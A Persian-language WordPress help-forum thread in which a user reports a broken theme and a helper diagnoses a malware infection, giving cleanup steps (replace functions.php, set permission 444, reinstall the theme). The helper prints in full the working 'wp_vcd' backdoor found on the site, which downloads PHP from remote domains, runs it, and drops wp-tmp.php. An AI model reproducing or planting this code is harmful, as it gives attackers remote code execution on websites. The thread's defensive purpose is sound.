رفتن به مطلب

مشکلات قالب اکادمی


zolfaghari

پست های پیشنهاد شده

سلام وقتتون بخیر

بنده قالب آکادمی رو برای کلاس های انلاین دانلود کردم ولی مشکلات داره که میخواستم ببینم کسی میدونه مشکل کجاست

برای صفحه نوشته ها فقط کد های php رو میاره

افزونه ها رو که فعال میکنی و از درون ریز استفاده که میکنی انجام نمیشه و میشه منتقل نشد به هاست(بحثای حافظه و سطح دستری به پوشه نیست)

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

درود.

لینک سایت یا اسکرین شات قرار بدید تا بتونیم بهتر راهنمایی کنیم.

الان این کدهای PHP ، همون سورس سایت منظورتون هست یا خطاهای PHP نمایش داده میشه؟

اگه لینک سایت بدید بهتر میشه سایت رو بررسی کرد. شاید کدنویسی قالب یک مشکلی داره که اجازه نمیده کدهای PHP به خوبی اجرا بشن.

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

در ۱ ساعت قبل، Masih گفته است :

درود.

لینک سایت یا اسکرین شات قرار بدید تا بتونیم بهتر راهنمایی کنیم.

الان این کدهای PHP ، همون سورس سایت منظورتون هست یا خطاهای PHP نمایش داده میشه؟

اگه لینک سایت بدید بهتر میشه سایت رو بررسی کرد. شاید کدنویسی قالب یک مشکلی داره که اجازه نمیده کدهای PHP به خوبی اجرا بشن.

microdownload.ir

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

سایتتون به Malware آلوده شده. فایل functions.php قالبتون رو باز کنید . فایل زیر رو هم که لینکشو قرار دادم دانلود و باز کنید و محتویات فایل ها رو بررسی کنید. اگه فایل functions.php قالبتون با فایل دانلود شده مثل هم نبود و کدهای ادامه رو داشت، محتویات فایل دانلود شده رو جایگزین فایل فعلیتون کنید تا مشکلتون حل بشه.

در نهایت سطح دسترسی یا همون Permission فایل functions.php رو روی 444 قرار بدید:

  • لینک ها تنها برای اعضای سایت قابل نمایش است.

 

کدهای زیر داخل سورس ادامه مطلب سایتتون وجود داره که یک کد Malware هست. 

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'ebd507470279b0e33d7334d6191c231a'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='c4f20116006488f8d54e3fa2912734c8';
        if (($tmpcontent = @file_get_contents("http://www.warors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.warors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.warors.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.warors.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>

 

قالب های پیش فرض وردپرس مثل twentysixteen و ... رو هم کاملا حذف کنید. سورس سایتتون نشون میده فایل هایی از این قالب داخل سایتتون لود میشن! 

اگه نتیجه ای نداشت نیاز به بررسی بیشتر خواهد بود.

در ضمن یکبار هم قالب رو مجددا دانلود کنید و نصب کنید. تمامی قالب های فعلیتون رو هم حذف کنید.

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

بایگانی شده

این موضوع بایگانی و قفل شده و دیگر امکان ارسال پاسخ نیست.

مهمان
این موضوع برای عدم ارسال قفل گردیده است.
×
×
  • اضافه کردن...